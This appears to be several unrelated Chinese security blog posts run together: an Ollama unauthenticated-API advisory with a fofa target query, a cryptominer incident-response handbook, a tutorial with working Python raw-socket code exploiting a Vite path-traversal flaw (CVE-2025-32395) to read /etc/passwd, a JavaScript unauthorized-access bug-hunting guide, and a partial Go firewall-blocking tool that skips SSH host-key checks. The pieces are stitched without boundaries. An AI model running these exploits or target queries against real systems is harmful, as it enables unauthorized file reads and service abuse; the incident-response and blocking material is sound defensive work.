2026年1月

0x01 组件简介

近期由于Deepseek爆火,大部分企业和个人都开始部署AI。Ollama是一个本地私有化部署大语言模型(LLM,如DeepSeek等)的运行环境和平台,简化了大语言模型在本地的部署、运行和管理过程,具有简化部署、轻量级可扩展、API支持、跨平台等特点,在AI领域得到了较为广泛的应用。

fofa语法:app="Ollama"

0x02 漏洞描述

近日,Ollama存在安全漏洞,该漏洞源于默认未设置身份验证和访问控制功能,未经授权的攻击者可在远程条件下调用Ollama服务接口,执行包括但不限于敏感模型资产窃取、虚假信息投喂、模型计算资源滥用和拒绝服务、系统配置篡改和扩大利用等恶意操作。

0x03 影响版本

Ollama所有版本均受此漏洞影响。

0x04 漏洞验证

随机找一个靶机看看
出现Ollama is running,即证明存在未授权访问的漏洞

574X249/image.png

漏洞验证

通过查看Ollama api文档,Ollama提供了多个API 端点,用于执行不同的操作

详细情况查看:https://ollama.cadn.net.cn/api.html

/api/generate 用于生成文本或内容。通常用于基于给定的输入生成响应或输出,例如生成对话回复、文章等。
/api/chat 专门用于聊天交互。用户可以通过此端点与模型进行对话,模型会根据输入生成相应的回复。
/api/create 用于创建新的模型或资源。可能涉及初始化一个新的模型实例或配置。
/api/ps(或者tags) 用于管理或查看模型的标签。标签可以帮助用户对模型进行分类或标记,便于管理和查找。
/api/show 用于显示模型或资源的详细信息。用户可以获取模型的配置、状态或其他相关信息。
/api/copy  用于复制模型或资源。用户可以通过此端点创建一个现有模型的副本。
/api/delete 用于删除模型或资源。用户可以通过此端点移除不再需要的模型或数据。
/api/pull 用于从 Ollama 下载模型。用户可以通过此端点将模型从远程服务器拉取到本地环境中。
/api/push 用于将模型上传到 Ollama。用户可以通过此端点将本地模型推送到远程服务器。
/api/embeddings 用于生成文本的嵌入向量。嵌入向量是文本的数值表示,通常用于机器学习任务中的特征提取。
/api/version 用于获取 Ollama 的版本信息。用户可以通过此端点查询当前使用的 Ollama 版本。

漏洞利用

在未授权情况,可以通过访问/api/ps(使用GET请求即可) 获取目前搭建的所有模型信息。

1035X775/image.png

通过返回信息可以看到采用的是deepseek-r1模型,通过刚才我们知道的接口端点信息,我们可以调用/api/chat(使用POST请求)来完成聊天请求,消耗资源。

1825X819/image.png

通过引导deepseek回答问题的过程中也能造成一些信息的泄露

所以在未授权的情况下,其他的接口都是可以用的,危害极大,可以通过调用那些危险接口进行操作,可对模型进行创建或删除的操作

0x05 漏洞影响

通过以上过程,我们可以看到该漏洞危害极大,且该漏洞利用难度也极低,可以通过未授权对大模型进行操作

0x06 修复建议

  1. 限制公网访问:尽量避免直接将 Ollama 服务端口(默认 11434)暴露在公网。  

  2. 配置网络访问控制:通过云安全组、防火墙等手段限制对 Ollama 服务端口的访问来源。仅允许可信的源 IP 地址连接 11434 端口,阻止非授权 IP 的访问请求。 

0X07 参考链接

https://github.com/ollama/ollama/blob/main/docs/faq.md

0x08 免责声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用。

请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。

作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

挖矿病毒应急响应处置手册

0x00 概述

通常来说,当我们的服务器或PC资源(CPU)使用率接近或超过100%,并持续高居不下导致服务器或PC操作延缓,我们就可以判定被挖矿。

常见挖矿其它特征如下:

  • 服务器或PC访问过不受信任的地址,这些地址包括:主机、IP、域名。这是由于大部分挖矿都需要从一个不受信任的地址下载初始化程序,而不受信任的来源主要是:第三方情报结构,企业内部历史数据沉淀。

  • 服务器或PC新增异常或恶意文件、进程或服务,并且大部分异常文件保存在服务器或PC的TMP目录中。

  • 服务器或PC的定时任务发生变更。

0x01 了解基本情况

1.1 如何发现

挖矿木马显著的行为特征就是极大的占用CPU及GPU和硬盘资源主要包括:高CPU和GPU、硬盘使用率、响应速度慢、崩溃或频繁重新启动、系统过热、异常网络活动(例如,连接挖矿相关的网站或IP地址)。其次是在网络流量中,挖矿木马通信过程采用专门的通信协议,因此存在一定的网络通信特征,因为要连接矿池,网络特征较多的都是TCP。

1.1.1 异常外联

  • 安全设备告警
  • 流量监控设备
  • 工作人员人工发现
  • ...

事件发生时的状况或安全设备告警等,能帮助应急处置人员快速分析确定事件类型,方便前期准备。

1.1.2 主机异常

  • CPU、GPU占用过高
  • 主机温度异常
  • 其他异常

可获取CPU占用过高进程信息

1.2 事件的时间节点

  • 出现事件时间
  • 发现事件时间
  • 处置事件时间

了解事件发生时间节点:出现事件时间、发现事件时间、处置事件时间,确定这三个时间节点后,可通过时间相关性推算挖矿病毒产生大致时间,有助于后续挖矿病毒发现及清理。

1.3 临时处置情况

了解挖矿病毒临时处置的情况,方便后期的排查

1.4 网络拓扑情况

获取网络构架,网络构架一般来讲是要拓补图,详细的拓扑图可以协助还原攻击流程时,准确定位网络连接方向。

0x02 判断是否属于挖矿

根据了解到的基本信息来判断和确认是否挖矿事件

2.1 属于挖矿

2.1.1 根据告警和流量信息初步判断挖矿类型

在不影响主业务运行的情况下,拔掉受害主机网线,并且切断网络连接可使挖矿现场尽量保持完整,有助于接下来的溯源工作顺利开展。

可以先根据告警和流量信息初步判断挖矿类型,在互联网收集相关情报,若有相关分析文章可提高事件处置效率。

2.1.2 windows

2.1.2.1 信息收集
  • CPU占用

打开 cmd 窗口,输入 resmon 命令,通过资源监视器,找出CPU占用过高的程序,找到PID和进程名。

image-20220221150219601

  • 网络连接

1、使用netstat -ano 命令查看目前的网络连接,定位可疑的 ESTABLISHED

2、根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位 tasklist | findstr "PID"

netstat -ano
tasklist | findstr "PID"

image-20220221144734582

  • 端口

查看Windows服务所对应的端口:%systemroot%/system32/drivers/etc/services

  • 可疑用户

【计算机管理】->【本地用户和组】->【用户】选项,可查看隐藏账户,名称以$结尾的为隐藏账户。

打开 cmd 窗口,输入 lusrmgr.msc 命令,查看是否有新增或可疑的账号。

image-20220221145754460

也可通过D盾查看系统中是否存在影子账户。

  • 计划任务

a、打开控制面板->任务计划,查看计划任务属性,排查异常任务计划。

b、打开 cmd 窗口,然后输入 at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。

  • 进程信息

a、Win+R,输入 msinfo32 命令,依次点击 "软件环境 -- 正在运行任务" 可以查看到进程的详细信息。

b、通过安全分析工具进行排查。

image-20220221150935484

  • 启动项

a、开始->所有程序->启动,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。
b、Win+R,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
c、Win+R,输入 regedit,打开注册表,查看开机启动项是否正常,检查是否有启动异常的项目。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

d、利用安全软件查看启动项、开机时间管理。

  • 服务

服务也是挖矿病毒常见的守护方式之一,将注册表中服务启动方式写为挖矿病毒主程序,从而达到守护进程目的。

Win+R,输入 services.msc,注意服务状态和启动类型,检查是否有异常服务。

image-20220221152259843

TIPS:除以上方法外还可使用火绒剑、Process Explorer等安全工具进行分析和信息收集。

2.1.2.2 定位

通过[2.1.2.1信息收集](#####2.1.2.1 信息收集) 定位到PID和进程后,再定位挖矿程序文件和目录。

查看进程对应的程序位置

方法1:打开任务管理器,选择对应进程,右键打开文件位置

image-20220221154832558

方法2:Win+R,输入 msinfo32 命令,软件环境->正在运行任务,即可定位到程序的目录信息。

image-20220221150935484

方法3:通过安全分析工具进行定位。

火绒剑->进程->右键进程信息 可直接定位到程序位置,且可查看其命令行参数。

image-20220221161343100

image-20220221161159901

火绒剑->网络 可直接定位到程序位置

image-20220221160838876

TIPS:对于打开文件位置还找不到挖矿文件的情况,则挖矿程序可能被隐藏,可通过配置文件夹选项或通过安全分析工具提取来解决

文件夹选项->查看->高级设置:取消隐藏受保护的操作系统文件、显示隐藏的文件、文件夹和驱动器。

image-20220221155929816

2.1.2.3 样本提取

一般在挖矿程序文件目录中可找到对应的配置文件和信息,通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。

若无相应配置文件,可通过云沙箱或专家对其进行深层次的分析。

[0x03 样本分析](#0x03 样本分析)

image-20220221161946994

image-20220221161856950

2.1.2.4 查杀根除
  • 双向封禁矿池地址

防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。

  • 删除启动项
  • 删除计划任务

Windows:使用SchTasks /Delete /TN [任务名] 删除计划任务。
自启动项可以从以下三点入手:
a、开始->所有程序->【启动
b、系统配置中启动项(win+R->msconfig)
c、注册表查找病毒程序名。

  • 删除服务

Windows中删除服务可从任务管理器中手动删除

也可使用命令:sc stop [服务名称]

停止服务后,使用命令:sc delete [服务名称] 删除服务。

  • 杀死进程

可使用进程管理工具或使用taskkill -PID [进程PID] -F结束恶意进程。

  • 删除文件

Windows中删除时可能存在权限不足等情况,可使用360终端强杀,也可使用进程管理工具强制删除。

  • ...

2.1.3 linux

2.1.3.1 信息收集
  • CPU占用
  • 进程信息
top -c

-c 查看其完整的命令行参数

top默认的排序列是“%CPU”

image-20220221171332677

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu

按照CPU占用显示进程信息

image-20220221173411598

Tips:查看隐藏进程:

ps -ef |awk '{print}' | sort -n|uniq >111
ls /proc|sort -n |uniq >222
diff 111 222
  • 内存信息
top -c -o %MEM

image-20220221173859687

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem

按照内存占用显示进程信息

image-20220221173924470

  • 网络连接
  • 端口
netstat -pantl

-p 显示正在使用Socket的程序识别码和程序名称

-a 显示所有连线中的Socket

-n 直接使用IP地址,而不通过域名服务器

-t 显示TCP传输协议的连线状况

-l 显示监控中的服务器的Socket

image-20220222143038889

  • 计划任务

a、 crontab

# 列出某个用户cron服务的详细内容
crontab -l   
# 使用编辑器编辑当前的crontab文件 
crontab -e   

b、anacron

cat /etc/anacrontab
cat /var/spool/anacron/*

重点关注以下目录中是否存在恶意脚本

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

image-20220222144137157

  • 服务

服务也是挖矿病毒常见的守护方式之一,将注册表中服务启动方式写为挖矿病毒主程序,从而达到守护进程目的。

查询已安装的服务

a、RPM 包安装的服务

# 查看服务自启动状态,可以看到所有的RPM包安装的服务
chkconfig  --list  
# 查看当前服务
ps aux | grep crond 

b、源码包安装的服务

检查/etc/rc.d/rc.local

  • 可疑用户

| 命令 | 命令详解 |
| -------------------------------------------------------- | -------------------------------------------------- |
| who | 查看当前登录用户(tty本地登陆 pts远程登录) |
| w | 查看系统信息,想知道某一时刻用户的行为 |
| last | 显示近期用户或终端的登录情况 |
| uptime | 查看登陆多久、多少用户,负载 |
| cat /etc/passwd | 查看用户信息文件 |
| cat /etc/shadow | 查看影子文件 |
| awk -F: '$3==0{print $1}' /etc/passwd | 查看管理员特权用户 |
| awk '/\$1|\$6/{print $1}' /etc/shadow | 查看可以远程登录的用户 |
| cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" | 查看sudo权限的用户(有时攻击者会创建属于自己的用户) |
| cat /etc/passwd \|awk -F: 'length($2)==0 {print $1}' | 查看空口令账户(有时攻击者会将正常账户改为空口令) |

2.1.3.2 定位

通过[2.1.3.1信息收集](#####2.1.3.1 信息收集) 定位到PID和进程后,再定位挖矿程序文件和目录。

方法1:通过top -c命令,可以看到可疑进程的完整目录信息和参数,从而定位到挖矿文件及目录

image-20220222145155602

方法2:通过以下命令,定位到挖矿文件位置

lsof -p pid

image-20220222145556700

systemctl status pid`

image-20220222145707526

ls -al /proc/`pid`/exe

image-20220222153053710

2.1.3.4 样本提取

一般在挖矿程序文件目录中可找到对应的配置文件和信息,通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。

若无相应配置文件,可通过云沙箱或专家对其进行深层次的分析。

[0x03 样本分析](#0x03 样本分析)

image-20220222153152087

2.1.3.5 查杀根除
  • 双向封禁矿池地址

防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。

  • 删除计划任务

crontab -e 删除对应的恶意计划任务

删除存在以下目录的恶意计划任务

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
  • 删除启动项

删除/etc/rc.local与/etc/rc[0到6].d文件中恶意启动项

  • 删除服务

Linux中服务清除:sudo update-rc.d [服务名称] remove

  • 进程查杀

查看是否存在子进程

ps ajfx
systemctl status

若无子进程,直接kill -9 pid

若有子进程,使用kill -9 -pid 杀死进程组

  • 删除文件

查看文件占用

lsof `文件名`

image-20220222154208994

若在进程查杀后仍有文件占用,则该进程可能是恶意进程,需继续重复之前步骤再次排查。

无进程占用,直接使用rm命令删除恶意文件

rm -rf [恶意文件绝对路径]

Tips:

若出现 rm: cannot remove ‘文件名’: Operation not permitted. 错误,则攻击者可能给文件添加了 ai 的权限导致文件无法删除,可使用 lsattr 查看文件权限:

lsattr [文件名]

使用 chattr -i [文件名]chattr -a [文件名] 修改文件权限,再用 rm 命令删除:

chattr -i [文件名]
chattr -a [文件名]
rm -rf [文件名]

image-20220222155248847

2.2 其他事件处理流程

若非挖矿事件,按照其他事件处理流程处置。

0x03 样本分析

3.1 备份挖矿程序

对于发现的恶意文件和目录应及时备份,为后续分析做准备。

Tips: 对于同系统文件一定要打包后再备份,防止发生二次感染。

a、Linux:

  • 使用 scp 命令:
scp -P 22 user@127.0.0.1:/usr/local/target /home/aaa

其中:

  • -P 指定SSH端口

  • 从远程服务器将 target 文件下载到本地的 /home/aaa

  • 使用 Xshell、FinalShell、MobaXterm 等集成工具。

b、Windows:

  • 通过 RDP 3389 复制粘贴。
  • 使用向日葵、ToDesk 等远程工具。
  • 使用SMB共享服务传输。
  • ...

3.2 云沙箱分析

对可疑文件可先通过云沙箱在线分析,常用的云沙箱包括:

3.3 专家分析

对云沙箱无法分析或分析不全时,可请求安全专家进行分析。

0x04 溯源攻击

溯源攻击是挖矿病毒应急响应的重要环节,以下是常规溯源流程:

  1. 确定攻击入口:


    • 检查系统日志、安全设备日志(如防火墙、IDS/IPS等)。
    • 分析网络流量,定位可疑IP地址或域名。
    • 检查系统是否存在未修复的漏洞或弱密码。
  2. 分析攻击手法:


    • 通过样本分析确定挖矿病毒的类型和传播方式。
    • 检查是否有横向移动的痕迹,如内网扫描、横向传播等。
  3. 确定攻击者身份:


    • 通过IP地址、域名等线索,结合威胁情报,确定攻击者身份。
    • 分析攻击者的C2服务器,追踪其活动轨迹。
  4. 总结攻击过程:


    • 绘制攻击流程图,还原攻击者入侵路径。
    • 撰写溯源报告,记录攻击细节和处置过程。

0x05 附录

5.1 常见挖矿病毒类型

| 类型 | 特征 |
| -------------- | ------------------------------------------------------------ |
| XMRig | 使用CPU挖矿,常见于Linux系统,配置文件通常为 config.json。 |
| MinerGate | 支持多种加密货币,常见于Windows系统,会创建大量进程。 |
| Claymore | 主要用于以太坊挖矿,常见于GPU挖矿,会生成大量日志文件。 |
| 门罗币挖矿病毒 | 使用XMRig或类似工具,常见于Web服务器,通过Web漏洞传播。 |
| 蠕虫类挖矿病毒 | 具有横向传播能力,通过弱密码或漏洞在内网传播。 |

5.2 常见挖矿病毒传播方式

| 传播方式 | 描述 |
| ------------ | ---------------------------------------------- |
| 弱密码爆破 | 通过SSH、RDP等服务的弱密码进行传播。 |
| Web漏洞利用 | 通过Web应用漏洞(如Struts2、ThinkPHP等)传播。 |
| 恶意邮件 | 通过钓鱼邮件传播,附件中包含挖矿程序。 |
| 横向移动 | 通过内网扫描和漏洞利用,感染其他主机。 |
| 供应链攻击 | 通过第三方软件或更新包传播挖矿病毒。 |

5.3 加固建议

  1. 系统加固:


    • 及时更新系统和软件补丁,修复已知漏洞。
    • 禁用不必要的服务和端口,减少攻击面。
    • 使用强密码策略,避免弱密码。
  2. 网络加固:


    • 部署防火墙和IDS/IPS,监控异常流量。
    • 限制外部访问,仅开放必要的端口和服务。
    • 使用VPN等安全通道访问内网。
  3. 安全监控:


    • 部署安全监控系统,实时监控系统资源使用情况。
    • 定期检查系统日志,发现异常及时处置。
    • 使用威胁情报平台,及时获取最新的攻击信息。
  4. 备份与恢复:


    • 定期备份重要数据,确保数据安全。
    • 制定应急响应预案,确保快速恢复业务。

5.4 参考工具

| 工具名称 | 用途 |
| ----------------------------- | ---------------------------------------- |
| Wireshark | 网络流量分析工具,用于分析异常流量。 |
| Process Explorer | 进程管理工具,用于分析可疑进程。 |
| Sysinternals Suite | 系统分析工具集,用于分析系统行为和进程。 |
| VirusTotal | 在线病毒扫描工具,用于分析可疑文件。 |
| Threat Intelligence Platforms | 威胁情报平台,用于获取最新的攻击信息。 |


以上为清理病毒程序方式,后续还需使用终端杀毒对系统进行全面杀毒及加固,并观察是否还有反复迹象。

一切以挖矿木马不再重启,不存在可疑外连为止。

一 正常发包

刚好最近有个热门的漏洞Vite系列的漏洞,通过该漏洞我们来学习一下
通过我们用python写POC的时候,我们大部分都是利用python的request的模块来进行发包利用的
正常情况下都是这样写的POC

 response = requests.get(url_base + "/@fs/root/vite-project/?/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

其中我们的路径要是比较正常的时候我们通过request模块发包的时候,我们就是能够正常把这个路径发出去的,我们通过bp抓包验证一下

1698X670/image.png

可以看到bp抓到的路径和我们想发出去的路径是一样的,接下来我们假设我们需要发送的路径是这样的

    response = requests.get(url_base + "/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

再次使用request模块发包的时候,用bp抓包看下

1701X696/image.png


二 进阶发包技巧

我们在bp中抓到的包的路径就是变成了"/etc/passwd?import&?raw","/../../"在requests中会被吞噬掉,导致我们无法完成利用,这也是在写POC中经常不注意到的一个点,明明手工利用的是时候可以利用,怎么写脚本的时候不行呢,这种时候就可以bp抓包看看想要发送的数据包是不是跟抓到的一样啦。像这种利用的路径,我们还是得用python来实现时怎么实现呢,干货来了

    check_url=url_base + "/../../../../../etc/passwd"
    s = requests.Session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,)
    print result.text

注意别使用bp代理抓包,经过bp后发送出去的包也是会被吞噬掉“/../../",我们直接通过wireshark捕获流量验证一下

1660X603/image.png

可以看到wireshark发包是能正常刚才的方法把这个路径发送出去的"/../../../../../etc/passwd"

而正常的request模块发包模块则变成了"/etc/passwd?import&?raw"

三 高阶发包技巧

接下来我们来看这个漏洞Vite 文件读取漏洞(CVE-2025-32395)
看官方的POC是这种形式的


"/@fs/root/vite-project/#/../../../../../etc/passwd"

路径中带了#,我们用刚才的两种方式发包测试一下

    方式1:
    lin_response = requests.get(url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd", proxies=proxies,verify=False,headers=headers)
    方式2:
    check_url=url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd"
    s = requests.session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,proxies=proxies)
    print result.text

通过bp代理和wireshark抓包看下,抓到的包的路径都变成了/@fs/root/vite-project,"/#/../../../../../etc/passwd"这个路径都丢失了,这是因为根据 RFC 3986 标准,# 在 URL 中定义为 片段标识符(Fragment),浏览器和 HTTP 客户端库(如 requests)会默认将其后的内容截断,不会发送到服务端,这意味着:若 # 不编码,其后的路径永远无法到达服务端。所以这个无法通过requests相关脚本来实现

876X655/image.png

2140X373/image.png

接下来就得使用我们的最后一个终极大法了,绕过 HTTP 协议限制,使用原始 Socket 控制:直接通过 socket 库发送字节流,避免高级 HTTP 库(如 urllib2 或 requests)自动处理 #

通过wireshark抓包,看下我们的路径已经完整发出去了,服务器也能完成处理

2401X357/image.png

通过回显,我们也能看到漏洞能完成利用

1288X432/image.png

关键代码如下

    import socket
    from urlparse import urlsplit
    parsed_url = urlsplit(url_base)
    netloc = parsed_url.netloc
    paths = ["/@fs/root/vite-project/#/../../../../../etc/passwd"]
    if ':' in netloc:
        host, port = netloc.split(':', 1)
        port = int(port)
    else:
        host = netloc
        # 根据协议设置默认端口
        if parsed_url.scheme == 'http':
            port = 80
        elif parsed_url.scheme == 'https':
            port = 443
        else:
            port = None
    for path in paths:
        request = (
            "GET {path} HTTP/1.1\r\n"
            "Host: {host}:{port}\r\n"
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).format(path=path, host=host,port=port)
        # 发送请求
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(request.encode())
        # 接收响应
        response = s.recv(4096)
        if "root:x" in response.decode():
            print url_base,path,response.decode()

四 后言

各位还有什么技巧可以分享交流一下的么,大家一起共同进步

0x1 前言

哈喽,师傅们!

这次又来给师傅们分享我的文章心得了呦,这次是给师傅们分享下js未授权漏洞挖掘的一个小技巧的汇总,然后也是会给师傅们分享几个案例,带师傅们更加深刻的理解和看的懂这个js未授权,然后再带师傅们去挖这个漏洞,从怎么挖去带师傅们掌握这个js未授权。

然后特别是给一些不会挖漏洞,然后针对于FindSomething插件工具的使用来做一个分享,让师傅们对呀FindSomething插件的使用更加娴熟,能够更好的利用这个插件,然后让师傅们挖出属于自己的第一个js未授权漏洞!

0x2 js未授权简介

一、什么是未授权?

首先理解什么是未授权漏洞
未授权字面上理解是未获得授权,对于正常的业务来说,有些功能点需要经过登录之后才能进行,那么如果我们通过一些绕过,无需登录也可以完成此类操作,那么便是未授权访问漏洞了。

二、常见的未授权访问漏洞

常见的未授权漏洞一般分为两种:

  1. 组件类的,如js未授权、redis未授权、mongodb未授权等,也是比较常见的。对于此类漏洞,可以理解为不需要登录即可执行里面的功能,所以存在未授权漏洞。
  2. WEB层面的,如某某CMS未授权文件上传、未授权创建账号、findsomething接口拼接未授权访问敏感信息泄露等。因为可以绕过登录限制进行操作,所以存在未授权访问漏洞。

三、浅谈

未授权访问的挖掘不是针对所有网站,这只是一种思路,通过信息收集来实现登录绕过,从而达到未授权。正常来说可以通过抓包修改返回值也可以达到绕过,前提是不知道网站代码的判断情况下,可以尝试猜解返回值。如果网站后端认证做好了,是不会有该漏洞的。

0x3浅谈 js未授权挖掘技巧

一、常规js未授权挖掘

这里就要和师傅们分享下我之前在没有认真研究js未授权的时候,喜欢的一个针对js的一个测试手法。我相信很多师傅应该都是和我一样的思路,就是大家知道且都非常喜欢使用的一个插件findsomething。就是常见的使用findsomething小熊猫头插件打开,然后把里面的泄露的路径进行拼接使用,然后直接拿bp进行POST/GET方法都进行跑一遍,然后再看看有没有什么js路径拼接,然后导致的敏感信息泄露。

然后把插件泄露的js路径保存到一个txt文件夹里面

然后简单的进行GET/POST跑下

然后跑完以后会发现,怎么还是没跑出什么东西来,然后就这样觉得这个js路径很安全,没有漏洞,直接下了

Google插件FindSomething下载链接:https://chromewebstore.google.com/detail/findsomething/kfhniponecokdefffkpagipffdefeldb

二、使用findsomething插件工具的目的

为了寻找隐藏的接口

JS中存在一些网址或接口信息,特别是隐藏的一些信息,也就是UI中没有的,这些隐藏的 接口很有可能存在各种常见的漏洞,例如越权,未授权等。

如果我们通过JS中的信息构造出完整的隐藏接口和传参,就有可能发现极其隐蔽的漏洞

三、js未授权挖掘小技巧分享

师傅们来看下下面的这个接口,是不是可以看到存在一个id参数,那么你要是直接把这个复制下来,然后去使用bp跑,是不是再怎么跑都跑不出什么信息泄露

然后还有就是下面的这个js接口,findsomething显示出来的接口,一个?id=xxx的一个参数,像碰到这样的,我们是不是得提前进行一个数据的处理,然后再放到bp去跑接口,才会最大可能性让你找到一些敏感信息泄露的接口,这样就是有些师傅挖不到js未授权的漏洞,但是有些师傅却可以的原因之一了

还有下面的这种情况,就是跑js路径的时候,需要我们注意前面是否有前缀

像上面的存在一个#的路径,建议是师傅们单独把这些js路径给拿出来,进行一个手动拼接尝试看看未授权,或者说要爆破,那也得把这个/#/这个给带上,然后再进行一个爆破,下面简单来拿百度的给师傅们看看这个案例

下面可以把findsomething的url复制到一个txt文本里面,然后进行替换如下:

四、查询接口的未授权访问测试奇招

就是我们平常在测试漏洞的时候,有时候不传参,或者在参数置空,发包的时候,对方服务器返回的请求是500的时候,那么有时候使用下面的参数进行一个传参,把这个给加上去,那么有时候会有一个不一样的效果,有时候就能返回一些高权限才可以看的内容

{
"pageNum":"1",
"pageSize":"100"
}


{
"pageNo"1",
"pageSize":100,
}

五、HAE匹配规则

下面是我给师傅们整理的HAE正则匹配,直接使用bp中的hae插件,把下面的规则直接导入到bp插件hae中,或者编辑Rules.yml文件

type:"POST"|type:"GET"|post("|get("|ashx?|ashx|ur1:|ur1:"|ur1:|path:|path:|path:|action?|data|params

0x4 总结

针对js未授权漏洞的一个分享呢就到这里文章就结束了,希望这篇文章对师傅们有帮助。

师傅们在挖掘企业src或者edu过程中,这个js未授权和使用FindSomething插件使用去挖掘漏洞来讲,特别是针对小白师傅们是非常友好的,也是蛮建议师傅们看完我的文章然后去进行一个js未授权的一个漏洞挖掘,这样可以让师傅们更加掌握这个技能,也是希望师傅们偶尔挖挖漏洞,然后赚点赏金什么的。

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!

前言

最近刚结束了一个HVV蓝队,比较头疼,甲方内部设备简直太多了,目前各个大厂都是这么玩儿的,本地MSS不好好适配不同厂家的产品,弹起来适配的问题最好的借口就是需要开发介入调整适配,不单单是在适配不同厂商的防火墙上扯皮还是在适配不同厂商探针上同样扯皮,有这扯皮功夫还不如直接写个工具一键封禁得了。其实就目前防守状态来讲,通过告警事件联动不同区域的防火墙这种技术手段太简单了,本地MSS在态感的基础上优化剧本再加上GPT介入研判已经基本上可以解决绝大部分的告警攻击了,可能目前唯一的问题可能就是出现在厂商态感底层告警逻辑上,目前探针获取的流量也只能获取非SSL流量,不做SSL卸载或者SSL证书解密的话一部分告警是无法获取的,另外常见的横向行为和隐藏流量也只能基于厂商设备底层逻辑或者剧本编排。

这次的工具功能是封禁共享情报的ip,或者是基于不同边界的不同品牌的防火墙和WAF的封禁。

下载地址:

功能介绍

  • 支持多种防火墙设备统一管理(H3C,QAX,SXF,山石,K01,DP等)
  • 网防K01提供黑名单批量查询、添加、删除功能
  • 支持 IP 规则化、过滤、清洗等功能
  • 界面简洁,操作便捷,可以选择性的根据不同的情报源头选择不同边界的设备进行封禁
  • 关于产品型号可支持大部分型号,除网防K01外其它产品封禁实现原理是基于添加地址到地址簿,封禁策略需手动处理

工具介绍和代码逻辑

配置文件

配置文件存放在config/config.json中,需要提前配置json文件,负责无法使用程序。这里关于config的文件内容务必按照格式规则设置,否则无法解析。

DP防火墙

DP防火墙的登录方式是telnet,逻辑是通过添加ip地址进入地址簿,添加ip地址

package devices

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type DPConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToDP(cfg DPConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 DP 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址!"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里没有直接使用回显显示状态,没有监听服务器回显状态再输入命令,具体使用该方式是新增一个地址簿,再策略位置设置封禁策略,引用添加的地址簿即可。界面效果

H3c防火墙

采用ssh登录使用命令操作

package devices

import (
	"fmt"
	"strings"
	"time"

	"golang.org/x/crypto/ssh"
)

func AddIPsToH3C(cfg H3CConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 H3C 设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         10 * time.Second,
	}

